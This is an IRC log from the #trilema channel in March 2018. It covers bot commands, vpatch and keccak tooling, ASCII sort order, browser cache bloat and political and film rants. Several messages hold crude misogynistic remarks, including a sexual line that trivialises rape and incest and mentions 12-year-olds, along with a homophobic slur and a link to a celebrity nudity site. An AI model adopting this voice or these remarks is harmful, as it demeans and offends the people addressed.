1789501;1521852526;shinohai;The --market all thing still needs work, but ticker works. You should probably take over the gribble functions though.
1789502;1521852549;lobbes;word. which ones are needed?
1789503;1521852619;shinohai;I can tar the plugins up for you if you need 'em.
1789504;1521852644;shinohai;Might be a few days though, plate been kinda full of late.
1789505;1521852675;lobbes;that works. Honestly could be a bit before I get to them anyways
1789506;1521852743;lobbes;I could always just slap up a separate gribble instance with this new pizarro shell tho. May be the cleanest that way actually.
1789507;1521852759;mircea_popescu;become the first man with two bots ?
1789508;1521852770;lobbes;no way I could be the first?
1789509;1521852801;lobbes;for some reason I want to say someone else had two, but I cannot produce a person so mebbe not
1789510;1521852839;asciilifeform;possibly old man kako
1789511;1521852956;mircea_popescu;ben_vulpes there's no "from" op in your logotron is there ?
1789512;1521853070;shinohai;Will do lobbes .... been busy setting up a binhost for personal use, so I don't have to compile the same goddamned packages 5,420 times.
1789513;1521853159;mircea_popescu;http://logs.bvulpes.com/search?q=%22qntra.net%22&c=trilema <<< ahem
1789514;1521853188;shinohai;Removing quotes woks
1789515;1521853194;shinohai;*works
1789516;1521853208;mircea_popescu;oh it has implicit quotes i see
1789517;1521853228;ben_vulpes;i have two bots
1789518;1521853239;ben_vulpes;no from op, implicit quotes
1789519;1521853248;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-23#318191 << napoleon choice, it's the only sensible choice. us wants to go out with a bang! like france! everything must be done like france!
1789520;1521853248;mimisbrunnr;Logged on 2018-03-23 16:03 deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
1789521;1521853264;ben_vulpes;both of which are irksome, yes
1789522;1521853305;mircea_popescu;ben_vulpes the quotes i don't mind much but i need the from, can't find shit like what spyked said otherwise so i missed a "you have two" refernece, because apparently i only made a ro one on trilema and wtf.
1789523;1521853841;ben_vulpes;roger
1789524;1521871052;lobbes;as promised, my own compendium of mp-wp notes: http://lobbesblog.com/blog/2018/03/mein-kompendium-mp-wp/
1789525;1521871078;lobbes;hopefully can be of use to someone down the line
1789526;1521872341;ben_vulpes;!!pay asciilifeform 0.50046596
1789527;1521872346;deedbot;Get your OTP: http://p.bvulpes.com/pastes/eruh1/?raw=true
1789528;1521872372;ben_vulpes;!!v 4C51729188CF3C233EEAAE49E8F66A24285DBFE0B9F0BADEBC50679C0830FC7B
1789529;1521872377;deedbot;ben_vulpes paid asciilifeform 0.50046596
1789530;1521872427;mircea_popescu;aaand in best vincent price lines, "alas, why must i be plagued by the harping of magpies on the eve of battle!"
1789531;1521897665;danielpbarron;!!pay-invoice ben_vulpes 1
1789532;1521897669;deedbot;Get your OTP: http://p.bvulpes.com/pastes/WhFu2/?raw=true
1789533;1521897787;danielpbarron;!!rate douchebag -1 l0de fan
1789534;1521897789;deedbot;Get your OTP: http://p.bvulpes.com/pastes/owe8o/?raw=true
1789535;1521899103;trinque;http://logs.bvulpes.com/trilema?d=2018-3-24#318721 << I said an arbitrary account balance. Do you understand what this means?
1789536;1521899103;mimisbrunnr;Logged on 2018-03-24 00:22 douchebag: This is a logged channel, unless invoices and withdrawls were made in PM. The balances could be determined by viewing the logs.
1789537;1521899185;trinque;It means I ask you "give me the balance of $x" and you respond correctly, to my satisfaction that you could do it for any account.
1789538;1521899225;trinque;It does not mean you trawl through the logs hoping that someone made all his wallet operations public.
1789539;1521899293;trinque;What, you took a day to go from "I'll root yer shit!" to "I-I can perl some logs..."
1789540;1521900288;deedbot;http://qntra.net/2018/03/nine-citizens-of-iran-given-the-honour-of-inclusion-in-usg-fbis-wanted-list/ << Qntra - Nine Citizens of Iran Given the Honour of Inclusion in USG.FBI's 'Wanted List'
1789541;1521900370;BingoBoingo;http://btcbase.org/log/2018-03-24#1789519 << Naturally. It's a good time to be in Latin America.
1789542;1521900370;a111;Logged on 2018-03-24 01:00 mircea_popescu: http://logs.bvulpes.com/trilema?d=2018-3-23#318191 << napoleon choice, it's the only sensible choice. us wants to go out with a bang! like france! everything must be done like france!
1789543;1521900370;mimisbrunnr;Logged on 2018-03-23 16:03 deedbot: http://qntra.net/2018/03/moves-in-trump-administration-signal-the-remains-of-the-us-moving-into-a-more-aggressive-posture/ << Qntra - Moves In Trump Administration Signal The Remains Of The US Moving Into A More Aggressive Posture
1789544;1521904586;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-22#317465 << i'd add a third, which is "the insistence on the trivial case". there's a fundamental tension at work here, because we call it "exam taking", but bear it in mind that the presence of exam takers is not a flaw in the population, but a failure of the system!
1789545;1521904586;mircea_popescu;uncle al's expression is "insistently rewarding poor performance breeds ennui" or somesuch, but the fundamental problem is that the ~correct~ reaction of the working mind confronted with the broken system is to... exploit the breakage.
1789546;1521904586;mircea_popescu;this has the unfortunate correlate of implicitly training the best in the population to be trivial idiots (and thus manipulable), much like life in mine tunnels trains eyes out of mammals, or the life of sicilian mineworking boys bred symmetry out of their gait.
1789547;1521904587;mimisbrunnr;Logged on 2018-03-22 17:34 asciilifeform: the ~other~ engineering heuristic that's absolutely imho grand, and that i stole from mircea_popescu , is 'there is not a mechanical substitute for coming to an understanding with the people you live and work with'
1789548;1521904589;mircea_popescu;this then is the gambit of socialism : that it'll manage to maintain the breakage long enough so that every 20yo with a working mind ends up a "web security expert". it's certainly a better approach in "threat control" than ritalin, seeing how it's "invisible" (to the afflicted eye it's quite hard to see. unlike the pill.)
1789549;1521904842;mircea_popescu;but in any case : the difference between realism and idealism ~STRICTLY~ relies on the handling of the trivial case. all systems with "excepted" (a la http://trilema.com/2018/le-salaire-de-lidiotie/#selection-165.311-165.357 ) are ~IDEAL~ systems, and suffer not merely from heine's idiocy (of hoping for "one day" modernist lightnings to fall on the picklehaube), but from the very direct problem of http://trilema.com/2014/the-
1789550;1521904842;mircea_popescu;problem-of-ideal-social-systems-reprint/
1789551;1521904934;mircea_popescu;meh. http://trilema.com/2014/the-problem-of-ideal-social-systems-reprint/
1789552;1521905333;diana_coman;that "correct" reaction sounds correct only for all sorts of definitions of "working mind"; dunno, working but un-reflecting; working but not worked; working blindly or something of this sort; to me it reads: "when in a broken environment, the correct reaction is to break yourself too as much as possible"; perhaps it is, along the lines of: one can hardly do anything else in that situation anyway so might as well extract the short-term app
1789553;1521905334;diana_coman;arent benefit or whatevers
1789554;1521905404;mircea_popescu;diana_coman you know, like the correctly working cunt gets wet whether it's rape or dad or whatever context. which is why "consensual nonconsent" or "DD/lg" are not things for 12 year olds.
1789555;1521905464;mircea_popescu;in any case you can't blame the vegetative system for cognitive failure ; and in the same spirit, i get it that ~everyone smells the pantsuit on douchebag and is driven mad to the point of barking with it. however, it seems to me the kid's merely maleducated, but fundamentally his brain works underneath.
1789556;1521905803;mircea_popescu;http://logs.bvulpes.com/trilema?d=2017-12-8#255192 << he and i both suspect that eating bananas' ultimately not good for the spirit. yet what's the nigerian to do, hold out for potatoes ? potatoes don't even grow there. move 2k miles ? on what, his own farts ?
1789557;1521905803;mimisbrunnr;Logged on 2017-12-08 14:49 asciilifeform: the 'good climate makes folx lazy and slowly climbing 'back up to trees' ' item is an old saw, but i'm not aware of any major hole in the theory
1789558;1521905847;mircea_popescu;yes obviously once the choice is presented it's the job of the mind to choose correctly. but the entire job of management consists of being provided two or more alternatives at all points and picking one. there's no such magical chosing absent alternative.
1789559;1521906401;mircea_popescu;for which reason, going with the only available alternative is not unethical -- it's outside of ethics altogether (which, for the record, is not "morality" or blabla. ethics is the science of making correct choices, nothing else). obviously in practice this is conflated with wilful blindness, where the agent ~pretends~ to not have had the alternative ; and better whip for stirring idiocy to action than the false call to "ther
1789560;1521906401;mircea_popescu;e's no alternative" has never been devised. nor needs to be devised, really.
1789561;1521906482;mircea_popescu;but so far on the instant case, as to 1. "the internet is right there, it's your responsibility to find your way out of the pantsuit paper bag"  -- well he's found the republic ; and as to 2. "make something of yourself, son"... too soon to tell yet, isn't it.
1789562;1521907995;asciilifeform;http://btcbase.org/log/2018-03-24#1789555 << i dun think anyone even suggested that the kid was a tard. he suffers from specific infectious disease, if you will, as formulated in, say, http://btcbase.org/log/2018-03-22#1788946 , i.e. the disease of extrinsic motivation , 'what's the minimal sweat i need to grab the brass ring'
1789563;1521907995;a111;Logged on 2018-03-24 15:31 mircea_popescu: in any case you can't blame the vegetative system for cognitive failure ; and in the same spirit, i get it that ~everyone smells the pantsuit on douchebag and is driven mad to the point of barking with it. however, it seems to me the kid's merely maleducated, but fundamentally his brain works underneath.
1789564;1521907995;a111;Logged on 2018-03-22 19:35 asciilifeform: ben_vulpes: in my experience 20yo who already took home xxx,xxx $ 'for' doing The Wrong Thing , is incurable. but it was worth a try.
1789565;1521908016;mircea_popescu;and who doesn't ?
1789566;1521908040;asciilifeform;rather like cancer, 'everyone has it', but question of degree.
1789567;1521908069;mircea_popescu;right. rather in fact like respiration -- everyone has it, and ALL THE TIME ; it takes al schwartz to blow rather than inhale when organometallic fireball's going on.
1789568;1521908077;asciilifeform;entirely like-so.
1789569;1521908102;mircea_popescu;right. but he didn't come up with that shit on the spot anymore than he hit pause on the meltdown to run get some eye protection.
1789570;1521908168;asciilifeform;entirely like-so. which is why asciilifeform for instance approaches every diseased kid who finds his way in here, as potentially-treatable patient
1789571;1521908202;mircea_popescu;can't go wrong that way
1789572;1521908617;asciilifeform;http://qntra.net/2018/03/nine-citizens-of-iran-given-the-honour-of-inclusion-in-usg-fbis-wanted-list/#comment-111957 << in other pantsuitology
1789573;1521910005;mircea_popescu;o this is fucking precious : "Costa Rica: Want to Invest in Bitcoin? Here's What You Should Know. The Bitcoin Code ( background-image: url("//img.revcontent.com/?url=https://revcontent-p0.s3.amazonaws.com/content/images/15214283180068218300.jpg&amp;static=true&amp;pos=face&amp;h=315&amp;w=420&amp;static=true&amp;fmt=jpeg"); height: 259px; )"
1789574;1521910172;mircea_popescu;scams-not-really-associated-with-bitcoin, from coinpay and buttbase all the way down to gurus, icos and the rest of the menagerie : will you take these bullshit adspaces nobody ever bought even in the days people were still buying online ads, a decade or two ago, the popunders, the "from the web", the "contextuals" all the way down to autoloaders or whatever to be your lawful wedded spouses, to honor and to cherish and to liv
1789575;1521910173;mircea_popescu;e together the fuck out of humanity's sight until the great dark finally comes on our worst mistake to date, the "information superhighway" web of shit ?
1789576;1521914849;trinque;http://logs.bvulpes.com/trilema?d=2018-3-24#318940 << yep, it's why I gave him a wager on his claims rather than negrate.
1789577;1521914850;mimisbrunnr;Logged on 2018-03-24 15:23 mircea_popescu: in any case you can't blame the vegetative system for cognitive failure ; and in the same spirit, i get it that ~everyone smells the pantsuit on douchebag and is driven mad to the point of barking with it. however, it seems to me the kid's merely maleducated, but fundamentally his brain works underneath.
1789578;1521914964;mircea_popescu;aha.
1789579;1521926969;ben_vulpes;terf hate speech: http://p.bvulpes.com/pastes/BgIgH/?raw=true
1789580;1521927013;mircea_popescu;there's what ?
1789581;1521927032;mircea_popescu;idle cocksucker trying to be clever with his virtue signalling. "here's nothing for a very special dumb cunt!!!"
1789582;1521935853;*;mircea_popescu has been quite enjoying the whole "scandal" whereby "it was really facebook (dobulespoken as "rogue" "market research" firm) thatr
1789583;1521935914;mircea_popescu;that * http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ ; don't believe trilema #toxicfax #fakeboobs".
1789584;1521935923;mircea_popescu;took 'em long enough...
1789585;1521936259;mircea_popescu;dumping http://www.esthlos.com/images/gaussians.png here for the archival.
1789586;1521940748;BingoBoingo;In other blows to pantsuitism https://pitchfork.com/news/killer-mike-defends-gun-ownership-in-new-nra-video/ https://archive.is/mj6xL
1789587;1521941975;deedbot;http://barksinthewind.com/2018/vtools-vpatch/ << BARKS IN THE WIND - vtools vpatch
1789588;1521959650;mircea_popescu;in other tales from the cave of noir, "big combo" is almost just as nonsensical as "his kind of woman". the sheer pile of nonsense in these things, jesus christ. NOTHING works.
1789589;1521959660;mircea_popescu;i suspect they wrote the scripts by drawing cards.
1789590;1521981583;esthlos;mircea_popescu: is there a list of supported html tags for comments on trilema?
1789591;1521990988;mircea_popescu;http://logs.bvulpes.com/trilema?d=2018-3-25#319501 << yeah lemme check it.
1789592;1521990988;mimisbrunnr;Logged on 2018-03-25 12:31 esthlos: mircea_popescu: is there a list of supported html tags for comments on trilema?
1789593;1521991094;mircea_popescu;a, b and i basically.
1789594;1522001282;deedbot;http://qntra.net/2018/03/developed-norway-lacks-means-to-receive-imports/ << Qntra - "Developed" Norway Lacks Means To Receive Imports
1789595;1522006003;phf;http://btcbase.org/log/2018-03-23#1789396 << i already fixed it, but took longer than usual because there was a new issue, i haven't seen before. when bot recovers, it asks additional sources for missed messages, which uses timestamp amongst other things for fuzzy merge. the drift between servers exceeded the hardcoded 15s, so the merge was failing out on asserts. goes back to the ntp threads
1789596;1522006003;a111;Logged on 2018-03-23 16:42 asciilifeform: wakeup phf. yer bot ran away.
1789597;1522006116;phf;http://btcbase.org/log/2018-03-15#1787861 << fixed
1789598;1522006116;a111;Logged on 2018-03-15 00:44 hanbot: phf fwiw btcbase.org/data/vtools/vtools_vdiff_sha.vpatch.phf.sig 404s
1789599;1522006146;hanbot;cooldeal
1789600;1522006315;phf;http://btcbase.org/log/2018-03-13#1787751 << oh duh, missed opportunity. i thought the idea was to integrate trinque's design into code where appropriate, but it makes sense that i could've just used the design for my release.
1789601;1522006315;a111;Logged on 2018-03-13 19:11 mircea_popescu: http://btcbase.org/log/2018-03-13#1787748 << just about, yes. i wanted a model file so we have something to play with and the original concept was to have phf include it in his v tree of his v rewrite because it seemed the first item that's coming out at the time from l1 hands ; but if it's holding you back re tmsr-portage, go ahead and make the sample yourself and we'll see how it works.
1789602;1522006348;hanbot;http://btcbase.org/log/2018-03-18#1788161 << sadly i have to scratch this; i have a genesis file but testing etc is waiting on having a site again. i let some shit into my wine with the nfs choice, and moreover i should've jumped on them the moment shitpay's final coffin nail was discussed here. apologies to anyone waiting on it --s'not forgotten, but it will be late.
1789603;1522006348;a111;Logged on 2018-03-18 00:30 hanbot: speaking of which, i'll have a genesis of mp-wp up this coming week.
1789604;1522006389;phf;hanbot: are you using the new differ to produce this?
1789605;1522006414;mircea_popescu;phf wb
1789606;1522006416;hanbot;the non-keccack new differ, yeah
1789607;1522006428;phf;a ty
1789608;1522006429;mircea_popescu;wait, non-keccack ?
1789609;1522006619;hanbot;mircea_popescu http://btcbase.org/patches?patchset=vtools&search= << to the right.
1789610;1522006727;mircea_popescu;hanbot why would you follow the dead branch i don't get it ?
1789611;1522006800;hanbot;as per http://btcbase.org/log/2018-03-05#1786971
1789612;1522006800;a111;Logged on 2018-03-05 18:24 phf: the release have been branched, and you press to two different heads if you want a sha or keccak version, but specifically for hanbot's purposes, sha vdiff is available, with the "no newline" issue fixed, as per http://barksinthewind.com/2018/vtools-keccak/#selection-95.221-99.40
1789613;1522006832;mircea_popescu;follow the mainline. whole fucking point is to move vpatching to keccak mechanism. don't genesis on the old style why would you.
1789614;1522006862;hanbot;no reason i know of that i can't revert though. alright, glad this came up now, then.
1789615;1522006869;mircea_popescu;yeh.
1789616;1522007289;phf;hanbot: note that http://barksinthewind.com/2018/vtools-vpatch/#selection-147.0-192.0 i'm going to fix it by wednesday, but if you can give me an unsigned rough draft of a keccak mp-wp.vpatch before then, i'll be able to use it as a test
1789617;1522007431;hanbot;phf kk, i'll shoot for that
1789618;1522007506;diana_coman;ave1, answered
1789619;1522007611;mircea_popescu;nice answer.
1789620;1522007623;*;mircea_popescu supports the principle espoused.
1789621;1522007948;diana_coman;mircea_popescu, cheers! and I'm glad ave1 asked this actually, as it strikes me as a point where a reader would hurry in to "optimise" the code potentially
1789622;1522007958;mircea_popescu;myeah.
1789623;1522008140;phf;http://btcbase.org/log/2018-03-08#1787317 << дневник as typed with jcuken but on a qwerty layout. it's an old derogatory runet term for diary writing, but in this case it's the default category i use that i forgot to change
1789624;1522008140;a111;Logged on 2018-03-08 18:02 mircea_popescu: phf wtf is a lytdybr anyway
1789625;1522008160;mircea_popescu;oh oh.
1789626;1522008162;mircea_popescu;glad i asked lol.
1789627;1522008168;phf;:P
1789628;1522009076;phf;http://btcbase.org/log/2018-03-08#1787318 << http://barksinthewind.com/2018/vtools-genesis/#footnote_3_36 footnote 4
1789629;1522009076;a111;Logged on 2018-03-08 18:03 mircea_popescu: also fucking terrible comments interface you got there ; how do i know how many there are ? before clicking on the article ; and how do i visually separate them, and why aren';t they numbered and so on.
1789630;1522009765;mircea_popescu;stolen takes one l
1789631;1522009794;phf;http://btcbase.org/log/2018-02-23#1785647
1789632;1522009794;a111;Logged on 2018-02-23 03:23 hanbot: phf anyway re your footnote four, i think it looks great, and stolen takes one l, though "stollen from elsewhere" sounds delicious
1789633;1522009798;mircea_popescu;did we sort footnote 3 to your satisfaction btw ?
1789634;1522010497;phf;yeah, we settled on a pragmatic "sort it as ASCII", which works for me, but i need to think about it some more, and at least do a write up on the subject. i mean, ascii has some funny properties, like some symbols come before numbers, some after numbers, and yet some more after letters, e.g. the ordering of 1A+~? is +1A?~
1789635;1522010505;mircea_popescu;aite.
1789636;1522010518;mircea_popescu;yeah, the symbols is the iffiest part.
1789637;1522010525;phf;err, the ordering of 1A+~? is +1?A~
1789638;1522010562;mircea_popescu;letters-numbers-everythingelse seems logical-er, given that you want to extend the list, if at all, towards the end
1789639;1522010575;phf;right
1789640;1522010640;phf;we could perhaps go with uppercase, lowercase, numbers, symbols, and for symbols specifically go with symbol ordering from ascii
1789641;1522010690;phf;but i'm not sure the added complexity improves anything, until we go full chuck moore with a pervasive custom encoding scheme on a system level.
1789642;1522011176;mircea_popescu;quite.
1789643;1522011189;mircea_popescu;no tmsr-fs, no tmsr-ascii.
1789644;1522011387;phf;asciilifeform: replied http://barksinthewind.com/2018/vtools-vpatch/#comment-23 << http://barksinthewind.com/2018/vtools-vpatch/#comment-24
1789645;1522013822;mircea_popescu;phf plox to redirect www
1789646;1522018534;mircea_popescu;and in today's great pornstar names, "bruce force"
1789647;1522026499;deedbot;http://trilema.com/2018/bettyond-the-forest/ << Trilema - Bettyond the Forest
1789648;1522028847;hanbot;my grocer moved from listing things on receipt by their order on conveyor (which i diligently sort so i can do weekly accounting at a sane rate) to alphabetical. in other seemingly miniscule things that end up being completely maddening. 10 mins ---> 30 mins + neckache, fuxory.
1789649;1522028877;mircea_popescu;is it at least ascii alphabetical, or do they do javaturd unicode alphabetical ?
1789650;1522028938;hanbot;alphapaininthebuttical.
1789651;1522028980;mircea_popescu;incidentally, "every shop must have a website (with ssl everywhere!!!)" and "every customer must have a loyalty card" trends of useless nonsense somehow haven't converged to the most basic sanity of, "give us your rsa pubkey, then download your data from our website whenever you want to, just go to shop.com/yourname"
1789652;1522029004;mircea_popescu;how is it, that they'll go to all the trouble but only just as long as it's not doing anything useful ?
1789653;1522029064;mircea_popescu;i rewatched gents prefer blondes, earlier. it's "holywood takes out all stops", but amusingly in their quest for "over the top decadence" and other delicious salamis, they have uberdressed girls tied to a spurious spinning chandelier RATHER THAN taking anyone's top off.
1789654;1522029084;mircea_popescu;cuz that's how fucking decadence goes, you get to the "dozen girls hanging from the light fixture" WAY WAY WAAAAY before you get to topless.
1789655;1522029112;hanbot;mpaa sez topless grocery expentitures are illegal!
1789656;1522029135;mircea_popescu;anything BUT the useful. what "united states", call it grandstanding pointlessness and be done.
1789657;1522029244;hanbot;and i'm not even in the us.
1789658;1522029250;mircea_popescu;oh.
1789659;1522029253;mircea_popescu;well that tears it then.
1789660;1522032231;phf;http://btcbase.org/log/2018-03-25#1789645 << redirect what to what? or you mean add www. to domain?
1789661;1522032231;a111;Logged on 2018-03-25 21:37 mircea_popescu: phf plox to redirect www
1789662;1522032722;mircea_popescu;www.barks atm 404s
1789663;1522049500;phf;http://btcbase.org/log/2018-03-19#1788278 << i've discovered similar, my 3g phone barely has signal and doesn't last more than a day in san francisco. presumably because the number of 3g supporting towers is significantly lower here
1789664;1522049500;a111;Logged on 2018-03-19 15:38 asciilifeform discovered '2g shutdown'(tm)(r) the hard way -- fallback modem quit working.
1789665;1522073293;mircea_popescu;https://steemit.com/introducemyself/@anonymint/introspection-interlude << in other bizarre. maybe someone point out to the dude that there's a 2 and a 5 in any 10, and since the 5 is in short supply n! will have one zero for each 5, two for each 25 and 3 for each 625, meaning 1000! will have 200 + 80 + 1.
1789666;1522073757;*;mircea_popescu has seen these two, (a preoccupation with subjective mental acuity, "iq" and "energization" etc) and (complete inadherence to trivial problems, a la http://btcbase.org/log/2014-11-21#930269 ) so often and repeatedly they really seem the same item.
1789667;1522073757;a111;Logged on 2014-11-21 01:37 mircea_popescu: asciilifeform but in the same vein of "hard problems, if you're new here", you know the two trains and fly one im sure
1789668;1522073817;mircea_popescu;it's almost as if a preoccupation with the self becomes an escapist technique to deal with frustration borne of lack of experience.
1789669;1522074136;mircea_popescu;re http://trilema.com/2018/the-rivers-of-blood-article-or-the-lordship-list-fifth-year/ << spyked ave1 do you even want to be l1'd ?
1789670;1522074248;mircea_popescu;aaand in other batshit, i am dissecting this system whose .mozilla directory is... 1.7GB. THREE CDS. what the fuck intricacy of prophylactic detail could possibly be stored there!
1789671;1522074267;*;mircea_popescu considers converting it to avi and just watching the five hours' worth.
1789672;1522074369;asciilifeform;'cache' liquishit
1789673;1522074382;mircea_popescu;what, it never deletes anything ?
1789674;1522074411;mircea_popescu;what the fuck could a browser do with gb's worth of "cache", system has a swap. what's the swap for, so that redditards reimplement the fs in js ?
1789675;1522074411;asciilifeform;ff? of course not
1789676;1522074417;asciilifeform;dun free() either
1789677;1522074429;mircea_popescu;basically this is immutable computering.
1789678;1522074461;asciilifeform;it's 'crash-only', i.e. perlistic, kompyooting
1789679;1522074483;mircea_popescu;you know, i think i published A NUMBER OF bashens that never crash. or is bash not perl ?
1789680;1522074494;asciilifeform;term of art.
1789681;1522074535;mircea_popescu;should be a pretty decent uni application / tech employment interview question. "explain the difference between bash and perl."
1789682;1522074537;asciilifeform;recall the gc discussion . 'scripting lang is one where progy dun live long enuff to need gc'
1789683;1522077488;mircea_popescu;https://arstechnica.com/information-technology/2017/04/ubuntu-unity-is-dead-desktop-will-switch-back-to-gnome-next-year/ << apparently even the dumbest of the dumb have known (for a year!) that "tablets" are ~dead and phones are going back to nintendo.
1789684;1522077933;asciilifeform;mircea_popescu: unsurprising, considering the ~complete disappearance of pnoje iron where luser could load own soft
1789685;1522078024;asciilifeform;and 'dead' is not quite how i'd describe a thing that's mostly replaced the actual comp for all of luserdom
1789686;1522078045;mircea_popescu;why not ?
1789687;1522078058;mircea_popescu;luserdom had no business touching computer at any sense. it's as dead today as it was in 1818.
1789688;1522078064;mircea_popescu;then they also had "computers".
1789689;1522078066;asciilifeform;in that sense sure.
1789690;1522078105;mircea_popescu;anyway, whole point of the idiocy was "JUST LIEK STARTREK!!!" cachet.
1789691;1522078127;mircea_popescu;that whole 2000s pantsuit "hopes and dreams" pie in the sky / end of history scenario took the bath of all time, and it ain't ever coming back.
1789692;1522078144;mircea_popescu;there was a time, a decade or two, when pantsuit actually thought the kingdom of their father's upon us. remember that ?
1789693;1522078183;mircea_popescu;("ever" is, obviously, an overstatement -- idiocy aint' about to go away. but in our lifetimes, that utopia's not showing up again.)
1789694;1522078187;asciilifeform;somehow i never actually met the 'troo believers', only the cynical распил profiting folx
1789695;1522078207;mircea_popescu;but you also aren't sexually promiscuous with teenagers and young adults.
1789696;1522078219;asciilifeform;i haven't even been to west usa, even.
1789697;1522078239;asciilifeform;( hey phf , how is kanzureistan this time of year ? )
1789698;1522078243;mircea_popescu;pantsuit is actually more like boston than cali. imo it's an interesting case of parasitosis.
1789699;1522078255;mircea_popescu;but you'd have met a lot more tru believers going 500 miles north than 5k miles west.
1789700;1522078294;asciilifeform;somehow i thought they moved it west, like su moved capital to moscow from peterburg
1789701;1522078352;mircea_popescu;i dunno, it's a complex matter. but my read on the whole shebang was "hey, californian dumb beach babes, this is what's good and proper, isn't it what you believe ?" "duh".
1789702;1522078378;mircea_popescu;whole ideology was altogether vehehery boston methodist.
1789703;1522078437;asciilifeform;right, but they did make a switch from 'salvation through prayer' to 'salvation through wunderwaffen'. and these are, nominally, made in svistan
1789704;1522078450;mircea_popescu;by mit.
1789705;1522078463;mircea_popescu;they are made in sf-istan by the "we are the premiere" idiots.
1789706;1522078499;asciilifeform;afaik mit is already hollowed out by termites; observe that google/palantir/rest of the squid are not based in 'media lab' but in the west.
1789707;1522078518;mircea_popescu;i dunno how familiar you are at all with cultural trends in that uneasy federal empire of entirely uncommunicating groups, but does eg greenspun sound cali to you AT ALL ?
1789708;1522078534;mircea_popescu;asciilifeform you mean butt-based or head-based ?
1789709;1522078557;mircea_popescu;i've yet to meet any of the us aspie class who aren't firmly head-based on state st.
1789710;1522078613;asciilifeform;all i know is where their 'mecca', for king and slave alike, seems to be -- not in the frozen old puritanistan , but in sf
1789711;1522078639;mircea_popescu;again, mecca to live or mecca to dream ?
1789712;1522078656;asciilifeform;but admittedly i only have naked eye observation. i have not the first notion re what they dream.
1789713;1522078684;mircea_popescu;you recall our discussion re the mechanical dragonfly, and how you proposed the eye may simply have a low pass filter find the flies ?
1789714;1522078701;asciilifeform;high pass. but yes
1789715;1522078708;asciilifeform;( fft + highpass )
1789716;1522078711;mircea_popescu;the principle is not without merit. if you convert sufficient gb of firefox cache into avi and watch them, eventually you end up with something that convincingly argues to you it's a clue.
1789717;1522078756;mircea_popescu;but i have no faith in the process.
1789718;1522078914;asciilifeform;i actually did this for shitware-analysis
1789719;1522078931;asciilifeform;not movie frames , of course , but still picture made from binariolade
1789720;1522078933;mircea_popescu;did it pan out ?
1789721;1522078950;asciilifeform;it did! pretty good means of first look, 'meat-assisted' sorting
1789722;1522078955;mircea_popescu;(obviously i was using a metaphore, i don't actually do the watching as such.)
1789723;1522078967;asciilifeform;ever listen to those z80 micro tapes in '80s
1789724;1522078970;asciilifeform;same principle
1789725;1522078997;mircea_popescu;yet consider something like http://logs.bvulpes.com/trilema?d=2018-3-26#319650 : who would you say came up with "startrek folk wear pantsuits LIKE THIS" ? it's 100% a boston notion of the world and people in it.
1789726;1522078998;mimisbrunnr;Logged on 2018-03-26 01:44 hanbot: mpaa sez topless grocery expentitures are illegal!
1789727;1522079058;asciilifeform;hey don't we have a boston rezident ? mats ?
1789728;1522079069;mircea_popescu;somehow, notwithstanding how san fernando valley dominated hollywood for half of the 80s and most of the 90s, the mpaa still reflects "the movie industry" views of state st, rather than either hollywood or porn valley.
1789729;1522079081;mircea_popescu;heck, they're even dekulakizing producers these days!
1789730;1522079102;asciilifeform;the entertaining part will be act-2 of that play
1789731;1522079109;mircea_popescu;imagine the absurdity, a producer losing his job for fucking women unasked!
1789732;1522079112;asciilifeform;i.e. when they start installing the ideologically-correct replacement producers
1789733;1522079119;mircea_popescu;banker losing job for not having girlfriend, when ?
1789734;1522079152;mircea_popescu;asciilifeform no, they're already there. have been, for decade+. you should see the shitheads doing the "mega franchises", jesus fuck i wouldn't have the misery in my house.
1789735;1522079184;mircea_popescu;it starts with "i don't drink alcohol." once you hear that, you know what you're dealing with pretty much.
1789736;1522079278;asciilifeform;mircea_popescu: is there a detectable ideological line in the producer purges ? what did e.g. weinstein make , and what is his 'replacement' making ?
1789737;1522079328;mircea_popescu;just look at the top gross, it's a fine indicator. #1 is kevin feige. iron man and urolagnia of the sort.
1789738;1522079340;asciilifeform;... or is it moar of a general-purpose 'workout', a la stalin's generals, i.e. 'yes guess what, generals are removable'
1789739;1522079341;mircea_popescu;#2 is kathleen kennedy. soccer mom of the star wars.
1789740;1522079364;mircea_popescu;#3 is do i need to go on ? bruckheimer, the fucktard behind pirates of the whatever. at least he's an alcoholic.
1789741;1522079386;mircea_popescu;and on it goes, that's about 10bn there.
1789742;1522079511;mircea_popescu;(and they're complete pushovers, too -- take neal moritz adopting the vin diesel look for chrissakes. these are people ?!)
1789743;1522079537;mircea_popescu;then there's that heyman faggot with the harry potter crapolade... there's seriously not a fucking human being among them.
1789744;1522079572;mircea_popescu;the x-men chick... jesus.
1789745;1522079574;mircea_popescu;ima go throw up.
1789746;1522080418;mircea_popescu;anyway. boston managed to make "the defining question" be "what does america want to see ?" and then managed to convince the midwest that what california people think is hip is bostonolade ; then took those numbers and showed california that "what america wants to see!!" is bostonolade.
1789747;1522080478;mircea_popescu;which is how come a) "oh, we have the dumb flickering plastic from star trek!!!" is somehow supposed to be a pillar of faith supporting the pantsuit money printing press ; while b) nobody fucking notices that the ~only item of any value whatsoever in the whole franchise was marina sirtis' ass, and they still don't get to see that, much like there's no jane russell porn.
1789748;1522080498;mircea_popescu;worse waste of human potential can scarcely be devised, ffs.
1789749;1522080561;mircea_popescu;anyway. if there ever is to be any progress, boston is to be cleaved from its support structures.
1789750;1522081354;mircea_popescu;(meanwhile, because the republic's better than the empire : http://videocelebs.net/marina-sirtis-nude-glynis-barber-nude-faye-dunaway-nude-lisa-mulidore-nude-the-wicked-lady-1983.html )
1789751;1522081689;mircea_popescu;much like in the case of say showgirls, the pantsuit "public oppinion" panned the wicked lady, speaking of course with the usual pretense of ex-cathedra "everyone agrees" and http://trilema.com/2018/memoranda-of-congress/#selection-159.15-161.0 nonsense. nevertheless it's an infinitely better movie than all the retarded crap they gush over. i'd take it every time over crap like "mandy" (aka "clash of silence", the 1952 waste
1789752;1522081689;mircea_popescu;of reel they gave the palme d'or to) and so on.
1789753;1522082022;asciilifeform;re 'bostonism of star trek', i recall reading that it is ~officially~ a plot point, that the starship had no toilet. erryone shits in pants, and it is teleported out. this is automatically what i think of when hear 'star trek'
1789754;1522082029;asciilifeform;and there is something very harvardian about it.
